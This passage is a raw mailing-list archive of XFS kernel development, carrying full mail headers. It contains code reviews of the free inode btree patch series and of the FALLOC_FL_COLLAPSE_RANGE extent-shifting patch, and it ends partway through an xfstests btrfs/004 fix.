ppp121-44-19-28.lns20.syd6.internode.on.net (HELO dastard) ([121.44.19.28]) by ipmail06.adl2.internode.on.net with ESMTP; 11 Feb 2014 17:49:29 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WD7ct-00058r-Bm; Tue, 11 Feb 2014 18:19:27 +1100 Date: Tue, 11 Feb 2014 18:19:27 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3 07/11] xfs: refactor xfs_difree() inobt bits into xfs_difree_inobt() helper Message-ID: <20140211071927.GH13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 07/11] xfs: refactor xfs_difree() inobt bits into xfs_difree_inobt() helper References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-8-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391536182-9048-8-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392103169 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145019 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 04, 2014 at 12:49:38PM -0500, Brian Foster wrote: > Refactor xfs_difree() in preparation for the finobt. xfs_difree() > performs the validity checks against the ag and reads the agi > header. The work of physically updating the inode allocation btree > is pushed down into the new xfs_difree_inobt() helper. > > Signed-off-by: Brian Foster Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 11 01:31:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 34D877F3F for ; Tue, 11 Feb 2014 01:31:12 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 133F68F8050 for ; Mon, 10 Feb 2014 23:31:11 -0800 (PST) X-ASG-Debug-ID: 1392103866-04cb6c6de22733f0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 1E1aotaoRkAL6Klu for ; Mon, 10 Feb 2014 23:31:07 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AswGANDQ+VJ5LBMc/2dsb2JhbABQCoMMgz62Z4VPgQwXdIIlAQEFJxMcIxAIAw4KCSUPBSUDIROIBMksFxaNflwHhDgEmCmSIYNBKA Received: from ppp121-44-19-28.lns20.syd6.internode.on.net (HELO dastard) ([121.44.19.28]) by ipmail06.adl2.internode.on.net with ESMTP; 11 Feb 2014 18:01:06 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WD7o8-0005AB-02; Tue, 11 Feb 2014 18:31:04 +1100 Date: Tue, 11 Feb 2014 18:31:03 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3 08/11] xfs: update the finobt on inode free Message-ID: <20140211073103.GI13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 08/11] xfs: update the finobt on inode free References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-9-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391536182-9048-9-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392103866 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145019 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Tue, Feb 04, 2014 at 12:49:39PM -0500, Brian Foster wrote: > An inode free operation can have several effects on the finobt. If > all inodes have been freed and the chunk deallocated, we remove the > finobt record. If the inode chunk was previously full, we must > insert a new record based on the existing inobt record. Otherwise, > we modify the record in place. > > Create the xfs_ifree_finobt() function to identify the potential > scenarios and update the finobt appropriately. Couple of minor things.... > + * Read and update the existing record. > + */ > + error = xfs_inobt_get_rec(cur, &rec, &i); > + if (error) > + goto error; > + XFS_WANT_CORRUPTED_GOTO(i == 1, error); > + > + rec.ir_free |= XFS_INOBT_MASK(offset); > + rec.ir_freecount++; > + > + XFS_WANT_CORRUPTED_GOTO((rec.ir_free == ibtrec->ir_free) && > + (rec.ir_freecount == ibtrec->ir_freecount), > + error); I'd add a small comment here saying: /* * We could just copy the ibtrec across here, but that * defeats the purpose of having redundant metadata. By * doing the modifications independently, we can catch * corruptions that we wouldn't see if we just copied from * one record to another. */ > + /* > + * The content of inobt records should always match between the inobt > + * and finobt. The lifecycle of records in the finobt is different from > + * the inobt in that the finobt only tracks records with at least one > + * free inode. This is to optimize lookup for inode allocation purposes. > + * The following checks determine whether to update the existing record or > + * remove it entirely. > + */ > + extra whitespace line > + if (rec.ir_freecount == XFS_IALLOC_INODES(mp) && > + !(mp->m_flags & XFS_MOUNT_IKEEP)) { > + /* > + * If all inodes are free and we're in !ikeep mode, the entire > + * inode chunk has been deallocated. Remove the record from the > + * finobt. > + */ > + error = xfs_btree_delete(cur, &i); > + if (error) > + goto error; > + ASSERT(i == 1); > + } else { > + /* > + * The existing finobt record was modified and has a combination > + * of allocated and free inodes or is completely free and ikeep > + * is enabled. Update the record. > + */ > + error = xfs_inobt_update(cur, &rec); > + if (error) > + goto error; > + } All th comments say pretty much the same thing, and repeat what the code does. Hence I think this is sufficient: /* * The content of inobt records should always match between the inobt * and finobt. The lifecycle of records in the finobt is different from * the inobt in that the finobt only tracks records with at least one * free inode. Hence if all the inodes are free and we aren't keeping * inode chunks permanently on disk, remove them. Otherwise just * update the record with the new information. */ if (rec.ir_freecount == XFS_IALLOC_INODES(mp) && !(mp->m_flags & XFS_MOUNT_IKEEP)) { error = xfs_btree_delete(cur, &i); if (error) goto error; ASSERT(i == 1); } else { error = xfs_inobt_update(cur, &rec); if (error) goto error; } Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 11 01:34:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E08147F4E for ; Tue, 11 Feb 2014 01:34:29 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7E09CAC00B for ; Mon, 10 Feb 2014 23:34:29 -0800 (PST) X-ASG-Debug-ID: 1392104067-04cb6c6de2273690001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id LxOJAoBWOjAHAH7A for ; Mon, 10 Feb 2014 23:34:27 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AswGAPrR+VJ5LBMc/2dsb2JhbABagwyDPrZnhU+BDBd0giUBAQU6HCMQCAMOCgklDwUlAyETiATJLhcWjloHhDgEmCmSIYNBKA Received: from ppp121-44-19-28.lns20.syd6.internode.on.net (HELO dastard) ([121.44.19.28]) by ipmail06.adl2.internode.on.net with ESMTP; 11 Feb 2014 18:04:26 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WD7rL-0005AQ-TA; Tue, 11 Feb 2014 18:34:23 +1100 Date: Tue, 11 Feb 2014 18:34:23 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3 10/11] xfs: report finobt status in fs geometry Message-ID: <20140211073423.GJ13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 10/11] xfs: report finobt status in fs geometry References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-11-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391536182-9048-11-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392104067 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145019 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 04, 2014 at 12:49:41PM -0500, Brian Foster wrote: > Define the XFS_FSOP_GEOM_FLAGS_FINOBT fs geometry flag and set the > associated bit if the filesystem supports the free inode btree. > > Signed-off-by: Brian Foster Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 11 01:34:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 32C757F4E for ; Tue, 11 Feb 2014 01:34:48 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id DAB45AC00B for ; Mon, 10 Feb 2014 23:34:47 -0800 (PST) X-ASG-Debug-ID: 1392104086-04bdf0122028cce0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id fVyJmvvD7D9wBrJ8 for ; Mon, 10 Feb 2014 23:34:46 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AswGAPrR+VJ5LBMc/2dsb2JhbABagwyDPrZnhU+BDBd0giUBAQU6HCMQCAMOCgklDwUlAyETiATJLhcWjloHhDgEmCmSIYNBKA Received: from ppp121-44-19-28.lns20.syd6.internode.on.net (HELO dastard) ([121.44.19.28]) by ipmail06.adl2.internode.on.net with ESMTP; 11 Feb 2014 18:04:45 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WD7rg-0005AX-R3; Tue, 11 Feb 2014 18:34:44 +1100 Date: Tue, 11 Feb 2014 18:34:44 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3 11/11] xfs: enable the finobt feature on v5 superblocks Message-ID: <20140211073444.GK13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 11/11] xfs: enable the finobt feature on v5 superblocks References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-12-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391536182-9048-12-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392104086 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145019 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 04, 2014 at 12:49:42PM -0500, Brian Foster wrote: > Add the finobt feature bit to the list of known features. As of > this point, the kernel code knows how to mount and manage both > finobt and non-finobt formatted filesystems. > > Signed-off-by: Brian Foster Looks good, Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From linkinjeon@gmail.com Tue Feb 11 03:45:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9EB1A7F3F for ; Tue, 11 Feb 2014 03:45:59 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4F7108F8064 for ; Tue, 11 Feb 2014 01:45:59 -0800 (PST) X-ASG-Debug-ID: 1392111954-04bdf01220295520001-NocioJ Received: from mail-qa0-f44.google.com (mail-qa0-f44.google.com [209.85.216.44]) by cuda.sgi.com with ESMTP id IbHjUU3fFeprV0ez (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 11 Feb 2014 01:45:54 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.44 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.44] Received: by mail-qa0-f44.google.com with SMTP id w5so11455113qac.31 for ; Tue, 11 Feb 2014 01:45:53 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.44] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.44] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=PfhcHwKCt4biWQmvxX8RsjRZoH3Lk+GiwXa7oW3KIyA=; b=IzdVa0+ixHj28YjDfe0CRfB34YCxWJFK3KHlJb/GfYfKYxfWj5p7YqHBXz7z2Dz22E gJtWHrrtPJtnGBom8m0bUqk8T8bqcnsZ6NF+1v/CszzyW+kK2vzml1f85jUqMGcoaXXh PODc9hA70YzftE6P+qr8DEbIj6LQ4KDLrieHQ2kfJqIaiWevzM1rhpzxVALPPS/SO0eG ijdwxPUs38YbEzTTsunjuOMeBI5wFk24QRAhPUXFISfpKAQol4vqxxV3by72WfbBIxZT p73cs6d/99CR99AtbPhKPXe1423YIMtzwpj+sT+7tOjgUjEcbP3RMvVeYiG9p+Edzwoe pXfw== MIME-Version: 1.0 X-Received: by 10.224.167.84 with SMTP id p20mr56005880qay.24.1392111953387; Tue, 11 Feb 2014 01:45:53 -0800 (PST) Received: by 10.96.109.102 with HTTP; Tue, 11 Feb 2014 01:45:53 -0800 (PST) In-Reply-To: <20140210233258.GX13647@dastard> References: <1391319851-3169-1-git-send-email-linkinjeon@gmail.com> <20140210233258.GX13647@dastard> Date: Tue, 11 Feb 2014 18:45:53 +0900 Message-ID: Subject: Re: [PATCH RESEND 2/10] xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate From: Namjae Jeon X-ASG-Orig-Subj: Re: [PATCH RESEND 2/10] xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate To: Dave Chinner Cc: viro@zeniv.linux.org.uk, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-qa0-f44.google.com[209.85.216.44] X-Barracuda-Start-Time: 1392111954 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145021 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi Dave. 2014-02-11 8:32 GMT+09:00, Dave Chinner : > On Sun, Feb 02, 2014 at 02:44:11PM +0900, Namjae Jeon wrote: >> From: Namjae Jeon >> >> Add support FALLOC_FL_COLLAPSE_RANGE for fallocate. >> >> Signed-off-by: Namjae Jeon >> Signed-off-by: Ashish Sangwan > > A more detailed description would be nice for the change logs. > ..... Okay, I will update it on next version. > >> + while (nexts++ < num_exts && >> + *current_ext < XFS_IFORK_NEXTENTS(ip, whichfork)) { >> + >> + gotp = xfs_iext_get_ext(ifp, *current_ext); >> + xfs_bmbt_get_all(gotp, &got); >> + startoff = got.br_startoff - offset_shift_fsb; >> + >> + /* >> + * Before shifting extent into hole, make sure that the hole >> + * is large enough to accomodate the shift. >> + */ >> + if (*current_ext) { >> + xfs_bmbt_get_all(xfs_iext_get_ext(ifp, >> + *current_ext - 1), &left); >> + >> + if (startoff < left.br_startoff + left.br_blockcount) >> + error = XFS_ERROR(EINVAL); >> + >> + } else if (startoff > xfs_bmbt_get_startoff(gotp)) { >> + /* Hole is at the start but not large enough */ >> + error = XFS_ERROR(EINVAL); >> + } > > This second branch seems wrong to me: > > startoff = got.br_startoff - offset_shift_fsb; > and > got.br_startoff = xfs_bmbt_get_startoff(gotp)). > > I'm not 100% sure what you are trying to check in this case - > perhaps some basic ascii art to describe the two cases is in order > here: > > left hole got > +-------+hhhhhhhhhhhhhhh+---------+ > LS LE GS GE > HS HE > > The first is checking that GS - offset_shift_fsb is greater than LE. > i.e the shift doesn't overrun the hole betwenn LE and GS. > > left hole got > +-------+hhhhhhhhhhhhhhh+---------+ > LS LE GS GE > HS HE > +-------+hhhhhhh+---------+ > LS LE GS' GE' > HS HE' > > The second I can't visualise from the code or comment.... When we shift first extent, *current_ext will be 0. So we need to check that offset_shift_fsb ( Number of blocks to be shifted ) should be less than starting offset of the first extent. So, code will be changed more clearly like this. + else if (offset_shift_fsb > got.br_startoff) { + /* Hole is at the start but not large enough */ + error = XFS_ERROR(EINVAL); + } And will update comment more clearly. > > >> + >> + if (error) >> + goto del_cursor; >> + >> + if (cur) { >> + error = xfs_bmbt_lookup_eq(cur, >> + got.br_startoff, >> + got.br_startblock, >> + got.br_blockcount, >> + &i); > > Whitespace comment - a more compact form is the typical XFS > convention if it will fit in 80 columns: Okay. I will fix it. > > error = xfs_bmbt_lookup_eq(cur, got.br_startoff, > got.br_startblock, > got.br_blockcount, &i); > >> + if (error) >> + goto del_cursor; >> + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); >> + } >> + >> + /* Check if we can merge 2 adjacent extents */ >> + if (*current_ext && >> + left.br_startoff + left.br_blockcount == startoff && >> + left.br_startblock + left.br_blockcount == >> + got.br_startblock && >> + left.br_state == got.br_state && >> + left.br_blockcount + got.br_blockcount <= MAXEXTLEN) { >> + blockcount = left.br_blockcount + >> + xfs_bmbt_get_blockcount(gotp); > > got.br_blockcount? Right. will fix it. > >> + xfs_iext_remove(ip, *current_ext, 1, 0); >> + if (cur) { >> + error = xfs_btree_delete(cur, &i); >> + if (error) >> + goto del_cursor; >> + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); >> + } >> + XFS_IFORK_NEXT_SET(ip, whichfork, >> + XFS_IFORK_NEXTENTS(ip, whichfork) - 1); >> + gotp = xfs_iext_get_ext(ifp, --*current_ext); >> + xfs_bmbt_get_all(gotp, &got); >> + >> + /* Make cursor point to the extent we will update */ >> + if (cur) { >> + error = xfs_bmbt_lookup_eq(cur, >> + got.br_startoff, >> + got.br_startblock, >> + got.br_blockcount, >> + &i); > > whitespace. Okay. > >> + if (error) >> + goto del_cursor; >> + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); >> + } >> + >> + xfs_bmbt_set_blockcount(gotp, blockcount); >> + got.br_blockcount = blockcount; >> + goto bmbt_update; >> + } >> + >> + /* We have to update the startoff */ >> + xfs_bmbt_set_startoff(gotp, startoff); >> + got.br_startoff = startoff; >> + >> +bmbt_update: > > Use an } else {} for this, and the goto can be removed. Okay, I will change. > > .... >> /* >> + * xfs_collapse_file_space() >> + * This routine frees disk space and shift extent for the given >> file. >> + * >> + * RETURNS: >> + * 0 on success >> + * errno on error >> + * >> + */ >> +int >> +xfs_collapse_file_space( >> + struct xfs_inode *ip, >> + xfs_off_t offset, >> + xfs_off_t len) >> +{ >> + int done = 0; >> + struct xfs_mount *mp = ip->i_mount; >> + struct xfs_trans *tp; >> + int error; >> + xfs_extnum_t current_ext = 0; >> + struct xfs_bmap_free free_list; >> + xfs_fsblock_t first_block; >> + int committed; >> + xfs_fileoff_t start_fsb; >> + xfs_fileoff_t shift_fsb; >> + >> + ASSERT(xfs_isilocked(ip, XFS_IOLOCK_EXCL)); >> + >> + trace_xfs_collapse_file_space(ip); >> + >> + start_fsb = XFS_B_TO_FSB(mp, offset + len); >> + shift_fsb = XFS_B_TO_FSB(mp, len); >> + >> + /* >> + * The first thing we do is to free data blocks in the specified range >> + * by calling xfs_free_file_space(). It would also sync dirty data >> + * and invalidate page cache over the region on which collapse range >> + * is working. >> + */ > > This can probably go in the function header as part of describing > the overall algorithm the code is using. Okay. > >> + error = xfs_free_file_space(ip, offset, len); >> + if (error) >> + return error; >> + >> + while (!error && !done) { >> + tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); >> + tp->t_flags |= XFS_TRANS_RESERVE; >> + /* >> + * We would need to reserve permanent block for transaction. >> + * This will come into picture when after shifting extent into >> + * hole we found that adjacent extents can be merged which >> + * may lead to freeing of a block during record update. >> + */ >> + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, >> + XFS_DIOSTRAT_SPACE_RES(mp, 0), 0); >> + if (error) { >> + ASSERT(error == ENOSPC || XFS_FORCED_SHUTDOWN(mp)); >> + xfs_trans_cancel(tp, 0); >> + break; >> + } >> + >> + xfs_ilock(ip, XFS_ILOCK_EXCL); >> + error = xfs_trans_reserve_quota(tp, mp, ip->i_udquot, >> + ip->i_gdquot, ip->i_pdquot, >> + XFS_DIOSTRAT_SPACE_RES(mp, 0), 0, >> + XFS_QMOPT_RES_REGBLKS); >> + if (error) >> + goto out; >> + >> + xfs_trans_ijoin(tp, ip, 0); >> + >> + xfs_bmap_init(&free_list, &first_block); >> + >> + /* >> + * We are using the write transaction in which max 2 bmbt >> + * updates are allowed >> + */ > > Right, but you've only reserved blocks for a single BMBT split > through XFS_DIOSTRAT_SPACE_RES(). In cases of allocation, adjacent > offset allocation is guaranteed to only require one split at most > and hence it's safe from that perspective. However, I can see how a > shift can require a split on the first extent move, and a merge on > the second. e.g: > > > left middle right > before maxrecs minrecs + 1 minrecs > first shift maxrecs + 1 minrecs minrecs > split > maxrecs / 2 minrecs minrecs > second shift > maxrecs/2 + 1 minrecs - 1 minrecs > merge merge > minrecs*2 - 1 (freed) > > So the question is whether the transaction reservations (both log > space and block allocation requirements) are covered. Yes, As you said, we could require two splits for extent move and merge in some cases. So, I will change number of shift extents with decraring define you pointed like this. #define XFS_BMAP_MAX_SHIFT_EXTENTS 1 > >> + error = xfs_bmap_shift_extents(tp, ip, &done, start_fsb, >> + shift_fsb, ¤t_ext, >> + &first_block, &free_list, 2); > > And that should really have a #define associated with it. ie.: > > #define XFS_BMAP_MAX_SHIFT_EXTENTS 2 > > And document the constraints that lead to that number with the > definition. > > Overall, all I'm really looking for here is sufficient comments to > document the constraints the code is operating under. Functionally > the code looks correct (apart from the branch above I can't work > out). Mostly I just want to make sure that in a couple of > years time I don't have to work it all out from first principles > again. ;) Okay, I will add sufficient comments to maintain easily this change. Thanks for your review! > > Cheers, > > Dave. > > -- > Dave Chinner > david@fromorbit.com > From wangsl.fnst@cn.fujitsu.com Tue Feb 11 04:08:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E0B347F3F for ; Tue, 11 Feb 2014 04:08:46 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id AFB588F806F for ; Tue, 11 Feb 2014 02:08:43 -0800 (PST) X-ASG-Debug-ID: 1392113319-04bdf01220297010001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id t16Cvgk4IYYOYAUb for ; Tue, 11 Feb 2014 02:08:41 -0800 (PST) X-Barracuda-Envelope-From: wangsl.fnst@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,824,1384272000"; d="scan'208";a="9506442" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 11 Feb 2014 18:04:33 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s1BA8K1w000723; Tue, 11 Feb 2014 18:08:21 +0800 Received: from wangs.fnst.cn.fujitsu.com ([10.167.226.104]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014021118062474-1734895 ; Tue, 11 Feb 2014 18:06:24 +0800 From: Wang Shilong To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org Subject: [PATCH v2] xfstests: btrfs/004: fix to make test really work Date: Tue, 11 Feb 2014 18:06:44 +0800 X-ASG-Orig-Subj: [PATCH v2] xfstests: btrfs/004: fix to make test really work Message-Id: <1392113204-29237-1-git-send-email-wangsl.fnst@cn.fujitsu.com> X-Mailer: git-send-email 1.8.3.1 X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/02/11 18:06:24, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/02/11 18:06:25, Serialize complete at 2014/02/11 18:06:25 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1392113321 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145022 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- So i was wondering why test 004 could pass my previous wrong kernel patch while it defenitely should not. By some debugging, i found here perl script is wrong, we did not filter out anything and this unit test did not work acutally.so it came out we will never fail this test. Signed-off-by: Wang Shilong --- Changelog v1->v2: format perl script to make it more readable(thanks to Dave Chinner) --- tests/btrfs/004 | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/tests/btrfs/004 b/tests/btrfs/004 index 14da9f1..1d608db 100755 --- a/tests/btrfs/004 +++ b/tests/btrfs/004 @@ -57,11 +57,17 @@ _require_command "/usr/sbin/filefrag" rm -f $seqres.full -FILEFRAG_FILTER='if (/, blocksize (\d+)/) {$blocksize = $1; next} ($ext, '\ -'$logical, $physical, $expected, $length, $flags) = (/^\s*(\d+)\s+(\d+)'\ 